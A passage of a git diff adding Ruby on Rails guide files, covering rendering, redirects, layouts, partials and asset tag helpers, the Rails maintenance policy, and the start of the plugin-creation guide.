:multiple_choices | +| | 301 | :moved_permanently | +| | 302 | :found | +| | 303 | :see_other | +| | 304 | :not_modified | +| | 305 | :use_proxy | +| | 307 | :temporary_redirect | +| | 308 | :permanent_redirect | +| **Client Error** | 400 | :bad_request | +| | 401 | :unauthorized | +| | 402 | :payment_required | +| | 403 | :forbidden | +| | 404 | :not_found | +| | 405 | :method_not_allowed | +| | 406 | :not_acceptable | +| | 407 | :proxy_authentication_required | +| | 408 | :request_timeout | +| | 409 | :conflict | +| | 410 | :gone | +| | 411 | :length_required | +| | 412 | :precondition_failed | +| | 413 | :payload_too_large | +| | 414 | :uri_too_long | +| | 415 | :unsupported_media_type | +| | 416 | :range_not_satisfiable | +| | 417 | :expectation_failed | +| | 421 | :misdirected_request | +| | 422 | :unprocessable_entity | +| | 423 | :locked | +| | 424 | :failed_dependency | +| | 426 | :upgrade_required | +| | 428 | :precondition_required | +| | 429 | :too_many_requests | +| | 431 | :request_header_fields_too_large | +| | 451 | :unavailable_for_legal_reasons | +| **Server Error** | 500 | :internal_server_error | +| | 501 | :not_implemented | +| | 502 | :bad_gateway | +| | 503 | :service_unavailable | +| | 504 | :gateway_timeout | +| | 505 | :http_version_not_supported | +| | 506 | :variant_also_negotiates | +| | 507 | :insufficient_storage | +| | 508 | :loop_detected | +| | 510 | :not_extended | +| | 511 | :network_authentication_required | + +NOTE: If you try to render content along with a non-content status code +(100-199, 204, 205, or 304), it will be dropped from the response. + +##### The `:formats` Option + +Rails uses the format specified in the request (or `:html` by default). You can +change this passing the `:formats` option with a symbol or an array: + +```ruby +render formats: :xml +render formats: [:json, :xml] +``` + +If a template with the specified format does not exist an `ActionView::MissingTemplate` error is raised. + +#### Finding Layouts + +To find the current layout, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `PhotosController` class will use `app/views/layouts/photos.html.erb` (or `app/views/layouts/photos.builder`). If there is no such controller-specific layout, Rails will use `app/views/layouts/application.html.erb` or `app/views/layouts/application.builder`. If there is no `.erb` layout, Rails will use a `.builder` layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions. + +##### Specifying Layouts for Controllers + +You can override the default layout conventions in your controllers by using the `layout` declaration. For example: + +```ruby +class ProductsController < ApplicationController + layout "inventory" + #... +end +``` + +With this declaration, all of the views rendered by the `ProductsController` will use `app/views/layouts/inventory.html.erb` as their layout. + +To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class: + +```ruby +class ApplicationController < ActionController::Base + layout "main" + #... +end +``` + +With this declaration, all of the views in the entire application will use `app/views/layouts/main.html.erb` for their layout. + +##### Choosing Layouts at Runtime + +You can use a symbol to defer the choice of layout until a request is processed: + +```ruby +class ProductsController < ApplicationController + layout :products_layout + + def show + @product = Product.find(params[:id]) + end + + private + def products_layout + @current_user.special? ? "special" : "products" + end + +end +``` + +Now, if the current user is a special user, they'll get a special layout when viewing a product. + +You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the `controller` instance, so the layout can be determined based on the current request: + +```ruby +class ProductsController < ApplicationController + layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" } +end +``` + +##### Conditional Layouts + +Layouts specified at the controller level support the `:only` and `:except` options. These options take either a method name, or an array of method names, corresponding to method names within the controller: + +```ruby +class ProductsController < ApplicationController + layout "product", except: [:index, :rss] +end +``` + +With this declaration, the `product` layout would be used for everything but the `rss` and `index` methods. + +##### Layout Inheritance + +Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example: + +* `application_controller.rb` + + ```ruby + class ApplicationController < ActionController::Base + layout "main" + end + ``` + +* `articles_controller.rb` + + ```ruby + class ArticlesController < ApplicationController + end + ``` + +* `special_articles_controller.rb` + + ```ruby + class SpecialArticlesController < ArticlesController + layout "special" + end + ``` + +* `old_articles_controller.rb` + + ```ruby + class OldArticlesController < SpecialArticlesController + layout false + + def show + @article = Article.find(params[:id]) + end + + def index + @old_articles = Article.older + render layout: "old" + end + # ... + end + ``` + +In this application: + +* In general, views will be rendered in the `main` layout +* `ArticlesController#index` will use the `main` layout +* `SpecialArticlesController#index` will use the `special` layout +* `OldArticlesController#show` will use no layout at all +* `OldArticlesController#index` will use the `old` layout + +##### Template Inheritance + +Similar to the Layout Inheritance logic, if a template or partial is not found in the conventional path, the controller will look for a template or partial to render in its inheritance chain. For example: + +```ruby +# in app/controllers/application_controller +class ApplicationController < ActionController::Base +end + +# in app/controllers/admin_controller +class AdminController < ApplicationController +end + +# in app/controllers/admin/products_controller +class Admin::ProductsController < AdminController + def index + end +end +``` + +The lookup order for an `admin/products#index` action will be: + +* `app/views/admin/products/` +* `app/views/admin/` +* `app/views/application/` + +This makes `app/views/application/` a great place for your shared partials, which can then be rendered in your ERB as such: + +```erb +<%# app/views/admin/products/index.html.erb %> +<%= render @products || "empty_list" %> + +<%# app/views/application/_empty_list.html.erb %> +There are no items in this list <em>yet</em>. +``` + +#### Avoiding Double Render Errors + +Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that `render` works. + +For example, here's some code that will trigger this error: + +```ruby +def show + @book = Book.find(params[:id]) + if @book.special? + render action: "special_show" + end + render action: "regular_show" +end +``` + +If `@book.special?` evaluates to `true`, Rails will start the rendering process to dump the `@book` variable into the `special_show` view. But this will _not_ stop the rest of the code in the `show` action from running, and when Rails hits the end of the action, it will start to render the `regular_show` view - and throw an error. The solution is simple: make sure that you have only one call to `render` or `redirect` in a single code path. One thing that can help is `and return`. Here's a patched version of the method: + +```ruby +def show + @book = Book.find(params[:id]) + if @book.special? + render action: "special_show" and return + end + render action: "regular_show" +end +``` + +Make sure to use `and return` instead of `&& return` because `&& return` will not work due to the operator precedence in the Ruby Language. + +Note that the implicit render done by ActionController detects if `render` has been called, so the following will work without errors: + +```ruby +def show + @book = Book.find(params[:id]) + if @book.special? + render action: "special_show" + end +end +``` + +This will render a book with `special?` set with the `special_show` template, while other books will render with the default `show` template. + +### Using `redirect_to` + +Another way to handle returning responses to an HTTP request is with `redirect_to`. As you've seen, `render` tells Rails which view (or other asset) to use in constructing a response. The `redirect_to` method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call: + +```ruby +redirect_to photos_url +``` + +You can use `redirect_back` to return the user to the page they just came from. +This location is pulled from the `HTTP_REFERER` header which is not guaranteed +to be set by the browser, so you must provide the `fallback_location` +to use in this case. + +```ruby +redirect_back(fallback_location: root_path) +``` + +NOTE: `redirect_to` and `redirect_back` do not halt and return immediately from method execution, but simply set HTTP responses. Statements occurring after them in a method will be executed. You can halt by an explicit `return` or some other halting mechanism, if needed. + +#### Getting a Different Redirect Status Code + +Rails uses HTTP status code 302, a temporary redirect, when you call `redirect_to`. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the `:status` option: + +```ruby +redirect_to photos_path, status: 301 +``` + +Just like the `:status` option for `render`, `:status` for `redirect_to` accepts both numeric and symbolic header designations. + +#### The Difference Between `render` and `redirect_to` + +Sometimes inexperienced developers think of `redirect_to` as a sort of `goto` command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. + +Consider these actions to see the difference: + +```ruby +def index + @books = Book.all +end + +def show + @book = Book.find_by(id: params[:id]) + if @book.nil? + render action: "index" + end +end +``` + +With the code in this form, there will likely be a problem if the `@book` variable is `nil`. Remember, a `render :action` doesn't run any code in the target action, so nothing will set up the `@books` variable that the `index` view will probably require. One way to fix this is to redirect instead of rendering: + +```ruby +def index + @books = Book.all +end + +def show + @book = Book.find_by(id: params[:id]) + if @book.nil? + redirect_to action: :index + end +end +``` + +With this code, the browser will make a fresh request for the index page, the code in the `index` method will run, and all will be well. + +The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with `/books/1` and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to `/books/`, the browser complies and sends a new request back to the controller asking now for the `index` action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen. + +While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example: + +```ruby +def index + @books = Book.all +end + +def show + @book = Book.find_by(id: params[:id]) + if @book.nil? + @books = Book.all + flash.now[:alert] = "Your book was not found" + render "index" + end +end +``` + +This would detect that there are no books with the specified ID, populate the `@books` instance variable with all the books in the model, and then directly render the `index.html.erb` template, returning it to the browser with a flash alert message to tell the user what happened. + +### Using `head` To Build Header-Only Responses + +The `head` method can be used to send responses with only headers to the browser. The `head` method accepts a number or symbol (see [reference table](#the-status-option)) representing an HTTP status code. The options argument is interpreted as a hash of header names and values. For example, you can return only an error header: + +```ruby +head :bad_request +``` + +This would produce the following header: + +``` +HTTP/1.1 400 Bad Request +Connection: close +Date: Sun, 24 Jan 2010 12:15:53 GMT +Transfer-Encoding: chunked +Content-Type: text/html; charset=utf-8 +X-Runtime: 0.013483 +Set-Cookie: _blog_session=...snip...; path=/; HttpOnly +Cache-Control: no-cache +``` + +Or you can use other HTTP headers to convey other information: + +```ruby +head :created, location: photo_path(@photo) +``` + +Which would produce: + +``` +HTTP/1.1 201 Created +Connection: close +Date: Sun, 24 Jan 2010 12:16:44 GMT +Transfer-Encoding: chunked +Location: /photos/1 +Content-Type: text/html; charset=utf-8 +X-Runtime: 0.083496 +Set-Cookie: _blog_session=...snip...; path=/; HttpOnly +Cache-Control: no-cache +``` + +Structuring Layouts +------------------- + +When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response: + +* Asset tags +* `yield` and `content_for` +* Partials + +### Asset Tag Helpers + +Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos, and audios. There are six asset tag helpers available in Rails: + +* `auto_discovery_link_tag` +* `javascript_include_tag` +* `stylesheet_link_tag` +* `image_tag` +* `video_tag` +* `audio_tag` + +You can use these tags in layouts or other views, although the `auto_discovery_link_tag`, `javascript_include_tag`, and `stylesheet_link_tag`, are most commonly used in the `<head>` section of a layout. + +WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. + +#### Linking to Feeds with the `auto_discovery_link_tag` + +The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS, Atom, or JSON feeds. It takes the type of the link (`:rss`, `:atom`, or `:json`), a hash of options that are passed through to url_for, and a hash of options for the tag: + +```erb +<%= auto_discovery_link_tag(:rss, {action: "feed"}, + {title: "RSS Feed"}) %> +``` + +There are three tag options available for the `auto_discovery_link_tag`: + +* `:rel` specifies the `rel` value in the link. The default value is "alternate". +* `:type` specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically. +* `:title` specifies the title of the link. The default value is the uppercase `:type` value, for example, "ATOM" or "RSS". + +#### Linking to JavaScript Files with the `javascript_include_tag` + +The `javascript_include_tag` helper returns an HTML `script` tag for each source provided. + +If you are using Rails with the [Asset Pipeline](asset_pipeline.html) enabled, this helper will generate a link to `/assets/javascripts/` rather than `public/javascripts` which was used in earlier versions of Rails. This link is then served by the asset pipeline. + +A JavaScript file within a Rails application or Rails engine goes in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. These locations are explained in detail in the [Asset Organization section in the Asset Pipeline Guide](asset_pipeline.html#asset-organization). + +You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called `javascripts` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this: + +```erb +<%= javascript_include_tag "main" %> +``` + +Rails will then output a `script` tag such as this: + +```html +<script src='/assets/main.js'></script> +``` + +The request to this asset is then served by the Sprockets gem. + +To include multiple files such as `app/assets/javascripts/main.js` and `app/assets/javascripts/columns.js` at the same time: + +```erb +<%= javascript_include_tag "main", "columns" %> +``` + +To include `app/assets/javascripts/main.js` and `app/assets/javascripts/photos/columns.js`: + +```erb +<%= javascript_include_tag "main", "/photos/columns" %> +``` + +To include `http://example.com/main.js`: + +```erb +<%= javascript_include_tag "http://example.com/main.js" %> +``` + +#### Linking to CSS Files with the `stylesheet_link_tag` + +The `stylesheet_link_tag` helper returns an HTML `<link>` tag for each source provided. + +If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to `/assets/stylesheets/`. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. + +You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called `stylesheets` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this: + +```erb +<%= stylesheet_link_tag "main" %> +``` + +To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/columns.css`: + +```erb +<%= stylesheet_link_tag "main", "columns" %> +``` + +To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/photos/columns.css`: + +```erb +<%= stylesheet_link_tag "main", "photos/columns" %> +``` + +To include `http://example.com/main.css`: + +```erb +<%= stylesheet_link_tag "http://example.com/main.css" %> +``` + +By default, the `stylesheet_link_tag` creates links with `media="screen" rel="stylesheet"`. You can override any of these defaults by specifying an appropriate option (`:media`, `:rel`): + +```erb +<%= stylesheet_link_tag "main_print", media: "print" %> +``` + +#### Linking to Images with the `image_tag` + +The `image_tag` helper builds an HTML `<img />` tag to the specified file. By default, files are loaded from `public/images`. + +WARNING: Note that you must specify the extension of the image. + +```erb +<%= image_tag "header.png" %> +``` + +You can supply a path to the image if you like: + +```erb +<%= image_tag "icons/delete.gif" %> +``` + +You can supply a hash of additional HTML options: + +```erb +<%= image_tag "icons/delete.gif", {height: 45} %> +``` + +You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code: + +```erb +<%= image_tag "home.gif" %> +<%= image_tag "home.gif", alt: "Home" %> +``` + +You can also specify a special size tag, in the format "{width}x{height}": + +```erb +<%= image_tag "home.gif", size: "50x20" %> +``` + +In addition to the above special tags, you can supply a final hash of standard HTML options, such as `:class`, `:id` or `:name`: + +```erb +<%= image_tag "home.gif", alt: "Go Home", + id: "HomeImage", + class: "nav_bar" %> +``` + +#### Linking to Videos with the `video_tag` + +The `video_tag` helper builds an HTML 5 `<video>` tag to the specified file. By default, files are loaded from `public/videos`. + +```erb +<%= video_tag "movie.ogg" %> +``` + +Produces + +```erb +<video src="/videos/movie.ogg" /> +``` + +Like an `image_tag` you can supply a path, either absolute, or relative to the `public/videos` directory. Additionally you can specify the `size: "#{width}x#{height}"` option just like an `image_tag`. Video tags can also have any of the HTML options specified at the end (`id`, `class` et al). + +The video tag also supports all of the `<video>` HTML options through the HTML options hash, including: + +* `poster: "image_name.png"`, provides an image to put in place of the video before it starts playing. +* `autoplay: true`, starts playing the video on page load. +* `loop: true`, loops the video once it gets to the end. +* `controls: true`, provides browser supplied controls for the user to interact with the video. +* `autobuffer: true`, the video will pre load the file for the user on page load. + +You can also specify multiple videos to play by passing an array of videos to the `video_tag`: + +```erb +<%= video_tag ["trailer.ogg", "movie.ogg"] %> +``` + +This will produce: + +```erb +<video> + <source src="/videos/trailer.ogg"> + <source src="/videos/movie.ogg"> +</video> +``` + +#### Linking to Audio Files with the `audio_tag` + +The `audio_tag` helper builds an HTML 5 `<audio>` tag to the specified file. By default, files are loaded from `public/audios`. + +```erb +<%= audio_tag "music.mp3" %> +``` + +You can supply a path to the audio file if you like: + +```erb +<%= audio_tag "music/first_song.mp3" %> +``` + +You can also supply a hash of additional options, such as `:id`, `:class` etc. + +Like the `video_tag`, the `audio_tag` has special options: + +* `autoplay: true`, starts playing the audio on page load +* `controls: true`, provides browser supplied controls for the user to interact with the audio. +* `autobuffer: true`, the audio will pre load the file for the user on page load. + +### Understanding `yield` + +Within the context of a layout, `yield` identifies a section where content from the view should be inserted. The simplest way to use this is to have a single `yield`, into which the entire contents of the view currently being rendered is inserted: + +```html+erb +<html> + <head> + </head> + <body> + <%= yield %> + </body> +</html> +``` + +You can also create a layout with multiple yielding regions: + +```html+erb +<html> + <head> + <%= yield :head %> + </head> + <body> + <%= yield %> + </body> +</html> +``` + +The main body of the view will always render into the unnamed `yield`. To render content into a named `yield`, you use the `content_for` method. + +### Using the `content_for` Method + +The `content_for` method allows you to insert content into a named `yield` block in your layout. For example, this view would work with the layout that you just saw: + +```html+erb +<% content_for :head do %> + <title>A simple page</title> +<% end %> + +<p>Hello, Rails!</p> +``` + +The result of rendering this page into the supplied layout would be this HTML: + +```html+erb +<html> + <head> + <title>A simple page</title> + </head> + <body> + <p>Hello, Rails!</p> + </body> +</html> +``` + +The `content_for` method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout. + +### Using Partials + +Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file. + +#### Naming Partials + +To render a partial as part of a view, you use the `render` method within the view: + +```ruby +<%= render "menu" %> +``` + +This will render a file named `_menu.html.erb` at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder: + +```ruby +<%= render "shared/menu" %> +``` + +That code will pull in the partial from `app/views/shared/_menu.html.erb`. + +#### Using Partials to Simplify Views + +One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this: + +```erb +<%= render "shared/ad_banner" %> + +<h1>Products</h1> + +<p>Here are a few of our fine products:</p> +... + +<%= render "shared/footer" %> +``` + +Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain +content that is shared by many pages in your application. You don't need to see +the details of these sections when you're concentrating on a particular page. + +As seen in the previous sections of this guide, `yield` is a very powerful tool +for cleaning up your layouts. Keep in mind that it's pure Ruby, so you can use +it almost everywhere. For example, we can use it to DRY up form layout +definitions for several similar resources: + +* `users/index.html.erb` + + ```html+erb + <%= render "shared/search_filters", search: @q do |f| %> + <p> + Name contains: <%= f.text_field :name_contains %> + </p> + <% end %> + ``` + +* `roles/index.html.erb` + + ```html+erb + <%= render "shared/search_filters", search: @q do |f| %> + <p> + Title contains: <%= f.text_field :title_contains %> + </p> + <% end %> + ``` + +* `shared/_search_filters.html.erb` + + ```html+erb + <%= form_for(search) do |f| %> + <h1>Search form:</h1> + <fieldset> + <%= yield f %> + </fieldset> + <p> + <%= f.submit "Search" %> + </p> + <% end %> + ``` + +TIP: For content that is shared among all pages in your application, you can use partials directly from layouts. + +#### Partial Layouts + +A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this: + +```erb +<%= render partial: "link_area", layout: "graybar" %> +``` + +This would look for a partial named `_link_area.html.erb` and render it using the layout `_graybar.html.erb`. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master `layouts` folder). + +Also note that explicitly specifying `:partial` is required when passing additional options such as `:layout`. + +#### Passing Local Variables + +You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content: + +* `new.html.erb` + + ```html+erb + <h1>New zone</h1> + <%= render partial: "form", locals: {zone: @zone} %> + ``` + +* `edit.html.erb` + + ```html+erb + <h1>Editing zone</h1> + <%= render partial: "form", locals: {zone: @zone} %> + ``` + +* `_form.html.erb` + + ```html+erb + <%= form_for(zone) do |f| %> + <p> + <b>Zone name</b><br> + <%= f.text_field :name %> + </p> + <p> + <%= f.submit %> + </p> + <% end %> + ``` + +Although the same partial will be rendered into both views, Action View's submit helper will return "Create Zone" for the new action and "Update Zone" for the edit action. + +To pass a local variable to a partial in only specific cases use the `local_assigns`. + +* `index.html.erb` + + ```erb + <%= render user.articles %> + ``` + +* `show.html.erb` + + ```erb + <%= render article, full: true %> + ``` + +* `_article.html.erb` + + ```erb + <h2><%= article.title %></h2> + + <% if local_assigns[:full] %> + <%= simple_format article.body %> + <% else %> + <%= truncate article.body %> + <% end %> + ``` + +This way it is possible to use the partial without the need to declare all local variables. + +Every partial also has a local variable with the same name as the partial (minus the leading underscore). You can pass an object in to this local variable via the `:object` option: + +```erb +<%= render partial: "customer", object: @new_customer %> +``` + +Within the `customer` partial, the `customer` variable will refer to `@new_customer` from the parent view. + +If you have an instance of a model to render into a partial, you can use a shorthand syntax: + +```erb +<%= render @customer %> +``` + +Assuming that the `@customer` instance variable contains an instance of the `Customer` model, this will use `_customer.html.erb` to render it and will pass the local variable `customer` into the partial which will refer to the `@customer` instance variable in the parent view. + +#### Rendering Collections + +Partials are very useful in rendering collections. When you pass a collection to a partial via the `:collection` option, the partial will be inserted once for each member in the collection: + +* `index.html.erb` + + ```html+erb + <h1>Products</h1> + <%= render partial: "product", collection: @products %> + ``` + +* `_product.html.erb` + + ```html+erb + <p>Product Name: <%= product.name %></p> + ``` + +When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within the `_product` partial, you can refer to `product` to get the instance that is being rendered. + +There is also a shorthand for this. Assuming `@products` is a collection of `Product` instances, you can simply write this in the `index.html.erb` to produce the same result: + +```html+erb +<h1>Products</h1> +<%= render @products %> +``` + +Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection: + +* `index.html.erb` + + ```html+erb + <h1>Contacts</h1> + <%= render [customer1, employee1, customer2, employee2] %> + ``` + +* `customers/_customer.html.erb` + + ```html+erb + <p>Customer: <%= customer.name %></p> + ``` + +* `employees/_employee.html.erb` + + ```html+erb + <p>Employee: <%= employee.name %></p> + ``` + +In this case, Rails will use the customer or employee partials as appropriate for each member of the collection. + +In the event that the collection is empty, `render` will return nil, so it should be fairly simple to provide alternative content. + +```html+erb +<h1>Products</h1> +<%= render(@products) || "There are no products available." %> +``` + +#### Local Variables + +To use a custom local variable name within the partial, specify the `:as` option in the call to the partial: + +```erb +<%= render partial: "product", collection: @products, as: :item %> +``` + +With this change, you can access an instance of the `@products` collection as the `item` local variable within the partial. + +You can also pass in arbitrary local variables to any partial you are rendering with the `locals: {}` option: + +```erb +<%= render partial: "product", collection: @products, + as: :item, locals: {title: "Products Page"} %> +``` + +In this case, the partial will have access to a local variable `title` with the value "Products Page". + +TIP: Rails also makes a counter variable available within a partial called by the collection, named after the title of the partial followed by `_counter`. For example, when rendering a collection `@products` the partial `_product.html.erb` can access the variable `product_counter` which indexes the number of times it has been rendered within the enclosing view. Note that it also applies for when the partial name was changed by using the `as:` option. For example, the counter variable for the code above would be `item_counter`. + +You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option: + +#### Spacer Templates + +```erb +<%= render partial: @products, spacer_template: "product_ruler" %> +``` + +Rails will render the `_product_ruler` partial (with no data passed in to it) between each pair of `_product` partials. + +#### Collection Partial Layouts + +When rendering collections it is also possible to use the `:layout` option: + +```erb +<%= render partial: "product", collection: @products, layout: "special_layout" %> +``` + +The layout will be rendered together with the partial for each item in the collection. The current object and object_counter variables will be available in the layout as well, the same way they are within the partial. + +### Using Nested Layouts + +You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example: + +Suppose you have the following `ApplicationController` layout: + +* `app/views/layouts/application.html.erb` + + ```html+erb + <html> + <head> + <title><%= @page_title or "Page Title" %></title> + <%= stylesheet_link_tag "layout" %> + <style><%= yield :stylesheets %></style> + </head> + <body> + <div id="top_menu">Top menu items here</div> + <div id="menu">Menu items here</div> + <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div> + </body> + </html> + ``` + +On pages generated by `NewsController`, you want to hide the top menu and add a right menu: + +* `app/views/layouts/news.html.erb` + + ```html+erb + <% content_for :stylesheets do %> + #top_menu {display: none} + #right_menu {float: right; background-color: yellow; color: black} + <% end %> + <% content_for :content do %> + <div id="right_menu">Right menu items here</div> + <%= content_for?(:news_content) ? yield(:news_content) : yield %> + <% end %> + <%= render template: "layouts/application" %> + ``` + +That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div. + +There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the `ActionView::render` method via `render template: 'layouts/news'` to base a new layout on the News layout. If you are sure you will not subtemplate the `News` layout, you can replace the `content_for?(:news_content) ? yield(:news_content) : yield` with simply `yield`. diff --git a/guides/source/maintenance_policy.md b/guides/source/maintenance_policy.md new file mode 100644 index 0000000000..b14b7a2c90 --- /dev/null +++ b/guides/source/maintenance_policy.md @@ -0,0 +1,80 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Maintenance Policy for Ruby on Rails +==================================== + +Support of the Rails framework is divided into four groups: New features, bug +fixes, security issues, and severe security issues. They are handled as +follows, all versions in `X.Y.Z` format. + +-------------------------------------------------------------------------------- + +Rails follows a shifted version of [semver](http://semver.org/): + +**Patch `Z`** + +Only bug fixes, no API changes, no new features. +Except as necessary for security fixes. + +**Minor `Y`** + +New features, may contain API changes (Serve as major versions of Semver). +Breaking changes are paired with deprecation notices in the previous minor +or major release. + +**Major `X`** + +New features, will likely contain API changes. The difference between Rails' +minor and major releases is the magnitude of breaking changes, and usually +reserved for special occasions. + +New Features +------------ + +New features are only added to the master branch and will not be made available +in point releases. + +Bug Fixes +--------- + +Only the latest release series will receive bug fixes. When enough bugs are +fixed and its deemed worthy to release a new gem, this is the branch it happens +from. + +In special situations, where someone from the Core Team agrees to support more series, +they are included in the list of supported series. + +**Currently included series:** `5.2.Z`. + +Security Issues +--------------- + +The current release series and the next most recent one will receive patches +and new versions in case of a security issue. + +These releases are created by taking the last released version, applying the +security patches, and releasing. Those patches are then applied to the end of +the x-y-stable branch. For example, a theoretical 1.2.3 security release would +be built from 1.2.2, and then added to the end of 1-2-stable. This means that +security releases are easy to upgrade to if you're running the latest version +of Rails. + +**Currently included series:** `5.2.Z`, `5.1.Z`. + +Severe Security Issues +---------------------- + +For severe security issues all releases in the current major series, and also the +last major release series will receive patches and new versions. The +classification of the security issue is judged by the core team. + +**Currently included series:** `5.2.Z`, `5.1.Z`, `5.0.Z`, `4.2.Z`. + +Unsupported Release Series +-------------------------- + +When a release series is no longer supported, it's your own responsibility to +deal with bugs and security issues. We may provide backports of the fixes and +publish them to git, however there will be no new versions released. If you are +not comfortable maintaining your own versions, you should upgrade to a +supported version. diff --git a/guides/source/plugins.md b/guides/source/plugins.md new file mode 100644 index 0000000000..7c9784dfe3 --- /dev/null +++ b/guides/source/plugins.md @@ -0,0 +1,484 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +The Basics of Creating Rails Plugins +==================================== + +A Rails plugin is either an extension or a modification of the core framework. Plugins provide: + +* A way for developers to share bleeding-edge ideas without hurting the stable code base. +* A segmented architecture so that units of code can be fixed or updated on their own release schedule. +* An outlet for the core developers so that they don't have to include every cool new feature under the sun. + +After reading this guide, you will know: + +* How to create a plugin from scratch. +* How to write and run tests for the plugin. + +This guide describes how to build a test-driven plugin that will: + +* Extend core Ruby classes like Hash and String. +* Add methods to `ApplicationRecord` in the tradition of the `acts_as` plugins. +* Give you information about where to put generators in your plugin. + +For the purpose of this guide pretend for a moment that you are an avid bird watcher. +Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle +goodness. + +-------------------------------------------------------------------------------- + +Setup +----- + +Currently, Rails plugins are built as gems, _gemified plugins_. They can be shared across +different Rails applications using RubyGems and Bundler if desired. + +### Generate a gemified plugin. + + +Rails ships with a `rails plugin new` command which creates a +skeleton for developing any kind of Rails extension with the ability +to run integration tests using a dummy Rails application. Create your +plugin with the command: + +```bash +$ rails plugin new yaffle +``` + +See usage and options by asking for help: + +```bash +$ rails plugin new --help +``` + +Testing Your Newly Generated Plugin +----------------------------------- + +You can navigate to the directory that contains the plugin, run the `bundle install` command + and run the one generated test using the `bin/test` command. + +You should see: + +```bash + 1 runs, 1 assertions, 0 failures, 0 errors, 0 skips +``` + +This will tell you that everything got generated properly and you are ready to start adding functionality. + +Extending Core Classes +---------------------- + +This section will explain how to add a method to String that will be available anywhere in your Rails application. + +In this example you will add a method to String named `to_squawk`. To begin, create a new test file with a few assertions: + +```ruby +# yaffle/test/core_ext_test.rb + +require "test_helper" + +class CoreExtTest < ActiveSupport::TestCase + def test_to_squawk_prepends_the_word_squawk + assert_equal "squawk! Hello World", "Hello World".to_squawk + end +end +``` + +Run `bin/test` to run the test. This test should fail because we haven't implemented the `to_squawk` method: + +```bash +E + +Error: +CoreExtTest#test_to_squawk_prepends_the_word_squawk: +NoMethodError: undefined method `to_squawk' for "Hello World":String + + +bin/test /path/to/yaffle/test/core_ext_test.rb:4 + +. + +Finished in 0.003358s, 595.6483 runs/s, 297.8242 assertions/s. + +2 runs, 1 assertions, 0 failures, 1 errors, 0 skips +``` + +Great - now you are ready to start development. + +In `lib/yaffle.rb`, add `require "yaffle/core_ext"`: + +```ruby +# yaffle/lib/yaffle.rb + +require "yaffle/railtie" +require "yaffle/core_ext" + +module Yaffle + # Your code goes here... +end +``` + +Finally, create the `core_ext.rb` file and add the `to_squawk` method: + +```ruby +# yaffle/lib/yaffle/core_ext.rb + +class String + def to_squawk + "squawk! #{self}".strip + end +end +``` + +To test that your method does what it says it does, run the unit tests with `bin/test` from your plugin directory. + +```bash + 2 runs, 2 assertions, 0 failures, 0 